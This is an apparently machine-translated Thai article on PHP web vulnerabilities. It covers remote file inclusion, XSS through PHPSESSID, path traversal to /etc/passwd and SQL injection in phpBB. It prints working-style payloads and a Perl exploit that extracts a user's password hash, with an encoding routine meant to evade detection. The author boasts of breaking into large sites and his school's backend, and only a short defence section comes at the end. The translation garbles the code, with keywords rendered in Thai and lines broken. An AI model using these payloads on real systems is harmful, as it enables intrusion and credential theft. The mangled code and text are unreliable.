เมื่อพิจารณาจากความปลอดภัยของเครือข่ายในปัจจุบัน ช่องโหว่ของหน้าเว็บที่ทุกคนกังวลและสัมผัสมากที่สุดควรเป็น ASP ในเรื่องนี้ Xiaozhu เป็นผู้เชี่ยวชาญ และฉันไม่ได้พูดอะไรจากมุมมองของ PHP ถือเป็นช่องโหว่ด้านความปลอดภัยที่ร้ายแรงเช่นกัน แต่มีบทความไม่มากนักในส่วนนี้ เราจะมาพูดคุยกันสั้นๆ เกี่ยวกับช่องโหว่ที่เกี่ยวข้องของหน้า PHP
ฉันได้จัดทำบทสรุปของช่องโหว่ PHP ทั่วไปในปัจจุบัน ซึ่งแบ่งออกเป็นหมวดหมู่คร่าวๆ ดังต่อไปนี้: รวมถึงช่องโหว่ของไฟล์, ช่องโหว่ในการเรียกใช้คำสั่งสคริปต์, ช่องโหว่ของไฟล์รั่วไหล, ช่องโหว่ของการแทรก SQL เป็นต้น แน่นอนว่าสำหรับเทคโนโลยีทั่วไปบางอย่าง เช่น การปลอมแปลงคุกกี้ ฉันจะไม่พูดถึงเรื่องนี้ที่นี่ มีข้อมูลมากมายเกี่ยวกับเรื่องนี้ทางออนไลน์ ดังนั้นเรามาวิเคราะห์วิธีใช้ประโยชน์จากช่องโหว่เหล่านี้ทีละรายการ!
ขั้นแรก เรามาพูดถึงช่องโหว่ของไฟล์ที่รวมอยู่กันก่อน ช่องโหว่นี้น่าจะกล่าวได้ว่าไม่ซ้ำกับ PHP เนื่องจากการประมวลผลข้อมูลที่เป็นอันตรายจากภายนอกไม่เพียงพอ ซึ่งทำให้ผู้โจมตีจากระยะไกลสามารถใช้ประโยชน์จากช่องโหว่เหล่านี้เพื่อรันคำสั่งตามอำเภอใจบนระบบด้วยกระบวนการเว็บ การอนุญาต คำสั่ง ลองดูตัวอย่าง: สมมติว่ามีโค้ดดังกล่าวใน a.php:
<?php
รวม($รวม."/xxx.php\");
-
ในโค้ดนี้ โดยทั่วไป $include จะเป็นเส้นทางที่ถูกตั้งค่าไว้ แต่เราสามารถบรรลุวัตถุประสงค์ของการโจมตีได้ด้วยการสร้างเส้นทางด้วยตัวเอง ตัวอย่างเช่น หากเราส่ง: a.php?include=http://web/b .php เว็บนี้เป็นพื้นที่ที่เราใช้ในการโจมตี แน่นอนว่า b.php คือโค้ดที่เราใช้โจมตี เราสามารถเขียนเป็น b.php ได้ประมาณว่า: passthru("/bin/ls /etc ") ; โค้ด ด้วยวิธีนี้ คุณสามารถทำการโจมตีอย่างมีจุดมุ่งหมายได้ (หมายเหตุ: เว็บเซิร์ฟเวอร์ไม่ควรรันโค้ด PHP มิฉะนั้นจะเกิดปัญหาขึ้น สำหรับรายละเอียดที่เกี่ยวข้อง คุณสามารถดู < < วิธีจัดการกับช่องโหว่ทั่วไป ในโปรแกรม PHP โจมตี >>) ในส่วนของช่องโหว่นี้มีปัญหามากมาย เช่น หน้าร้าน PayPal
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart และอื่นๆ อีกมากมาย
ต่อไป มาดูช่องโหว่ในการเรียกใช้คำสั่งสคริปต์ เนื่องจากไม่มีการกรองพารามิเตอร์ URI ที่ผู้ใช้ส่งมาอย่างเพียงพอ การส่งข้อมูลที่มีโค้ด HTML ที่เป็นอันตรายอาจทำให้เกิดการโจมตีด้วยสคริปต์ข้ามไซต์ และอาจได้รับข้อมูลที่ละเอียดอ่อนของ ผู้ใช้เป้าหมาย ให้เรายกตัวอย่างด้วย: หน้า index.php ใน PHP Transparent PHP 4.3.1 หรือต่ำกว่า ไม่มีการกรอง PHPSESSID ที่เพียงพอ เราสามารถบรรลุวัตถุประสงค์ของการโจมตีผ่านโค้ดดังกล่าว:
http://web/index.php?PHPSESSID="><script>...</script >ในสคริปต์เราสามารถสร้างฟังก์ชันเพื่อรับข้อมูลที่ละเอียดอ่อนของผู้ใช้ได้ มีช่องโหว่ค่อนข้างน้อยในเรื่องนี้ ยกเว้นใน นอกจาก PHP Transparent แล้ว ยังมี: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board เป็นต้น
จากนั้น เรามาดูช่องโหว่ในการเปิดเผยไฟล์กัน ช่องโหว่นี้เกิดจากการกรองพารามิเตอร์ที่ผู้ใช้ส่งมาไม่เพียงพอ ผู้โจมตีจากระยะไกลสามารถใช้เพื่อโจมตีไดเรกทอรี่และรับข้อมูลที่ละเอียดอ่อนได้ มาดูตัวอย่าง phpMyAdmin ที่เพิ่งค้นพบกัน ใน phpMyAdmin หน้า Export.php ไม่ได้กรองพารามิเตอร์ 'อะไร' ที่ผู้ใช้ส่งเข้ามาอย่างสมบูรณ์ ผู้โจมตีจากระยะไกลสามารถข้ามสิ่งนี้ได้โดยส่งข้อมูลที่มีอักขระ '../' หลายตัว เอาชนะข้อจำกัดของ WEB ROOT และดูข้อมูลไฟล์ใด ๆ ในระบบที่ได้รับอนุญาตจาก WEB ตัวอย่างเช่นการป้อนที่อยู่ดังกล่าว: export.php?what=../../../../../.. /etc/passwd%00 สามารถบรรลุวัตถุประสงค์ของการรั่วไหลของไฟล์ได้ ในเรื่องนี้ ค่อนข้างมีมากกว่า: myPHPNuke, McNews ฯลฯ
ในที่สุดเราก็กลับมาสู่จุดที่น่าตื่นเต้นที่สุด ลองนึกดูว่าการใช้ SQL insert ในหน้า asp จะสนุกแค่ไหน เมื่อก่อนเราต้องฉีด manual จนกระทั่ง Xiaozhu รู้ถึง "หนังสือลับการฉีด SQL" (ฮิฮิ) แล้ว หลังจากพัฒนา NBSI แล้ว NB Alliance ของเราได้สร้างความแตกต่างอย่างมาก เราได้ช่วย CSDN, Monopoly Forum, China Channel และเว็บไซต์ขนาดใหญ่อื่น ๆ อย่างต่อเนื่องเพื่อค้นหาช่องโหว่ (ฉันจะไม่พูดถึงเรื่องไร้สาระไปมากกว่านี้ มันนอกเรื่องไปหน่อย) .. ) กลับมาที่หัวข้อกันดีกว่า จริงๆ แล้ว SQL injector ใน asp นั้นเหมือนกับ SQL injector ใน php กันสักหน่อย เพียงแค่ใส่ใจเล็กน้อยกับฟังก์ชันที่ใช้ โดยพื้นฐานแล้วฟังก์ชั่นยังคงไม่เปลี่ยนแปลง จริงๆ แล้วเมื่อทุกคนเห็นการแทรก SQL ใน PHP พวกเขาคิดถึง PHP-NUKE และ PHPBB หรือไม่ ใช่ ดังคำกล่าวที่ว่าฟอรัมอย่าง Dongwang ควรเป็นราชาแห่งช่องโหว่ในโลก ASP ไม่ได้บอกว่าความปลอดภัยของฟอรัมนั้นต่ำเกินไป แต่ยิ่งเป็นที่รู้จักมากเกินไป ผู้คนก็จะค้นคว้าข้อมูลมากขึ้น และช่องโหว่ด้านความปลอดภัยก็จะถูกค้นพบมากขึ้นเช่นกัน ซึ่งได้รับความนิยมอย่างมากในขณะนี้ เมื่อคนส่วนใหญ่ใช้ PHP ในการสร้างฟอรัม พวกเขามักจะเลือก PHPBB groupcp .php เวอร์ชัน .6 และ search.php, profile.php, viewtopic.php ฯลฯ ที่ค้นพบก่อนหน้านี้ รวมกันได้ประมาณหนึ่งโหล สิ่งนี้ทำให้บางคนใช้มันเป็นผลิตภัณฑ์ทดลองเมื่อศึกษาช่องโหว่ของ PHP เสมอ ดังคำกล่าวที่ว่า การฝึกฝนทำให้คุณสมบูรณ์แบบ ฉันเชื่อว่า PHPBB จะดีขึ้นเรื่อยๆ ในอนาคต
เอาล่ะ เรามาวิเคราะห์สาเหตุของช่องโหว่กัน ยกตัวอย่างหน้า viewtopic.php โดยที่ "topic_id" จะได้รับโดยตรงจากคำขอ GET และส่งผ่านไปยังคำสั่ง SQL query และไม่มีการกรองบางส่วน ผู้โจมตีสามารถส่งสตริง SQL พิเศษเพื่อรับรหัสผ่าน MD5 ข้อมูลรหัสผ่านนี้สามารถนำไปใช้สำหรับการเข้าสู่ระบบอัตโนมัติหรือการถอดรหัสแบบเดรัจฉาน (ฉันไม่คิดว่าจะมีใครอยากทำการแคร็กแบบเดรัจฉานเว้นแต่จะมีเหตุผลที่สำคัญเป็นพิเศษ) มาดูซอร์สโค้ดที่เกี่ยวข้องกันก่อน:
# ถ้า ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
-
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
-
# อื่น ๆ ถ้า ( isset($HTTP_GET_VARS['topic']) )
-
# $topic_id = intval($HTTP_GET_VARS['topic']);
-
จากด้านบน เราจะเห็นว่าหาก send view=newest และ sid ถูกตั้งค่า โค้ดการสืบค้นที่ดำเนินการจะมีลักษณะดังนี้ (หากคุณไม่เห็นซอร์สโค้ด PHPBB ฉันขอแนะนำให้คุณอ่านแล้วมาที่นี่ ดูสิ ระบบที่ได้รับผลกระทบคือ: phpBB 2.0.5 และ phpBB 2.0.4)
# $sql = "select p.post_id
# จาก " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# โดยที่ s.session_id = '$session_id'
# และ u.user_id = s.session_user_id
# และ p.topic_id = $topic_id
# และ p.post_time >= u.user_lastvisit
# สั่งซื้อตาม p.post_time ASC
# LIMIT 1";
Rick ระบุรหัสทดสอบต่อไปนี้:
ใช้ IO::Socket;
$remote = shift ||. 'localhost';
$view_topic = shift ||. '/phpBB2/viewtopic.php';
$uid = กะ ||. 2;
$ พอร์ต = 80;
$dbtype = 'mysql4'; # mysql4 หรือ pgsql
พิมพ์ "กำลังพยายามรับแฮชรหัสผ่านสำหรับ uid $uid เซิร์ฟเวอร์ $remote dbtype: $dbtypen";
$พี = "";
สำหรับ($ดัชนี=1; $ดัชนี<=32; $ดัชนี++) {
$socket = IO::Socket::INET->ใหม่ (PeerAddr => $remote,
PeerPort => $ พอร์ต,
ต้นแบบ => "tcp",
พิมพ์ => SOCK_STREAM)
หรือตาย "ไม่สามารถเชื่อมต่อกับ $remote:$port :$@n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .
พิมพ์ $socket $str;
พิมพ์ $socket "Cookie: phpBB2mysql_sid=1n"; # แทนที่สิ่งนี้สำหรับ pgsql หรือลบออก
พิมพ์ $socket "โฮสต์: $remotenn";
ในขณะที่ ($คำตอบ = <$ซ็อกเก็ต>) {
if ($answer =~ /location:.*x23(d+)/) # ตรงกับตำแหน่ง: viewtopic.php?p=<num>#<num> {
$p .= ch ();
-
-
ปิด($ซ็อกเก็ต);
-
พิมพ์ "nMD5 แฮชสำหรับ uid $uid คือ $pn";
# การเข้ารหัสแบบสุ่ม str ช่วยหลีกเลี่ยงการตรวจจับ
ย่อย Random_encode {
$str = กะ;
$ret = "";
สำหรับ($i=0; $i<ความยาว($str); $i++) {
$c = substr($str,$i,1);
$j = ความยาวแรนด์($str) * 1,000;
ถ้า (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} อื่น {
$ret .= $c;
-
-
ส่งคืน $ret;
-
ย่อย make_dbsql {
ถ้า ($dbtype eq 'mysql4') {
return " union เลือก ord(substring(user_password," . $index . ",1)) จาก phpbb_users โดยที่ user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; เลือก ascii(substring(user_password from $index for 1)) เป็น post_id จาก phpbb_posts p, phpbb_users u โดยที่ u.user_id=$uid หรือ false";
} อื่น {
กลับ "";
-
}
ฉันจะไม่อธิบายอะไรมากเกี่ยวกับโค้ดที่เสียหายนี้ ฟังก์ชันคือการรับค่า HASH
เห็นแบบนี้แล้วคุณอาจมีคำถามว่าทำไมถึงไม่ใช้ฟังก์ชันที่แก้ไขที่ผมกล่าวถึงก่อนหน้านี้ ผมไม่กลัวที่จะทำให้คนอื่นหัวเราะเมื่อบอกพวกเขาว่า จริงๆ แล้วข้อความค้นหาของบางหน้าของหลายๆ ไซต์บนอินเทอร์เน็ตจะมีลักษณะดังนี้ แบบนี้:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
อย่าหัวเราะนะ จริงสิ ผมเคยใช้เว็บนี้เข้าเว็บใหญ่ๆ หลายแห่ง ส่วนเว็บไหนบอกยาก แต่สำหรับเว็บโรงเรียนเรา ผมใช้เว็บนี้เข้าแบ็กเอนด์ (หวังว่าศูนย์เครือข่ายโรงเรียนจะสามารถทำได้) ไม่เห็นเลย) บทความนี้ ^_^) ใช้ฟังก์ชันเดิมได้เลย ไม่อย่างนั้น จะต้องเปลี่ยนรหัสผ่านของคนอื่น!!!
ฉันเกือบลืมไปแล้วว่า PHP นั้นแตกต่างจาก ASP เมื่อพูดถึง SQLjection ดังนั้น MySQL จึงไม่ยืดหยุ่นเท่ากับ MSSQL ในการใช้คำสั่ง SQL คำสั่งการแทรกทั่วไปมีลักษณะดังนี้: aaa.php?id=a' ลงใน outfile 'pass.txt หรือ aaa.php?id=a' ลงใน outfile 'pass.txt' /*สามารถเปลี่ยนเป็น: aaa.php? id=a' หรือ 1=1 union เลือก id,name,password form users ลงใน outfile 'c:/a.txt. วิธีนี้ทำให้คุณสามารถส่งออกข้อมูลฐานข้อมูลไปยังไฟล์แล้วดูได้
หรือเช่นนี้: mode=',user_level='4
โดยทั่วไปคำสั่งนี้จะใช้เมื่อแก้ไขข้อมูล หากมีช่องโหว่ในเพจ ก็สามารถบรรลุผลของการอนุญาตได้
ส่วนอื่นๆ เช่น ' OR 1=1 -- หรือ: 1' หรือ 1='1 คล้ายกับ asp ฉันจะไม่ลงรายละเอียดที่นี่ ใน PHP ดูเหมือนว่าการแทรก SQL จะเป็นช่องโหว่อันดับหนึ่ง หน้า นี่คือปัญหา
ในความเป็นจริง คุณจะเห็นว่ามีเหตุผลเดียวเท่านั้นสำหรับการจัดหมวดหมู่ข้างต้น: พารามิเตอร์ที่ส่งมาไม่ได้รับการกรองหรือการกรองไม่เข้มงวดเพียงพอ แนวป้องกันของแฮกเกอร์มีทั้งเชิงรุกและเชิงรับเสมอ ที่นี่ เรามาพูดถึงการป้องกันกันดีกว่า วิธีการโดยทั่วไป
ก่อนอื่น ฉันคิดว่ามันสำคัญที่สุด สิ่งที่สำคัญที่สุดคือการตั้งค่า magic_quotes_gpc เป็น ON เลือก * จากผู้ดูแลระบบ โดยที่ชื่อผู้ใช้='$ชื่อผู้ใช้' และรหัสผ่าน ='$รหัสผ่าน' ผู้โจมตีต้องการใช้ 1' หรือ 1='1 เพื่อข้ามการตรวจสอบ แต่สตริงเหล่านั้นจะถูกแปลงเป็นสิ่งนี้: เลือก * จากผู้ดูแลระบบโดยที่ ชื่อผู้ใช้='a' และรหัสผ่าน='1' หรือ 1='1' เพื่อให้บรรลุวัตถุประสงค์ในการป้องกันการฉีด ที่จริงแล้ว การดำเนินการ addslashes() จะดำเนินการโดยอัตโนมัติ หากไม่ได้ผล ให้กำหนดฟังก์ชันของคุณเอง ที่จะจัดการมัน ตอนนี้ดูเหมือนว่าผู้ที่มีส่วนร่วมในการฉีด PHP ก็ค่อนข้างหดหู่เช่นกัน เนื่องจากเวอร์ชันที่ต่ำกว่า myslq4 ไม่รองรับคำสั่งย่อย และ mysql เวอร์ชันใหม่จะใช้ตัวเลือก magic_quotes_gpc เป็นค่าเริ่มต้น
วิธีการแก้ไขช่องโหว่ของไฟล์รวมคือขอให้โปรแกรมเมอร์พยายามอย่าใช้ตัวแปรสำหรับพารามิเตอร์ในไฟล์รวม หากใช้ตัวแปร ชื่อไฟล์ที่จะรวมจะต้องได้รับการตรวจสอบอย่างเข้มงวดและจะต้องไม่ถูกระบุโดยผู้ใช้ แนะนำให้ตั้งค่า global_variables เป็นปิด ตัวอย่างเช่น การจำกัดเส้นทางการดำเนินการ PHP ในการเปิดไฟล์ก่อนหน้านี้เป็นตัวเลือกที่จำเป็น นอกจากนี้ อย่าลืมปิดฟังก์ชันการเปิดไฟล์ระยะไกลของ PHP เว้นแต่จำเป็นเป็นอย่างอื่น แก้ไขไฟล์ php.ini: Allow_url_fopen = Off (หมายเหตุ: ดู <<ปัญหาด้านความปลอดภัย PHP: Remote Overflow, DoS, Safe_mode Bypass Vulnerabilities>>)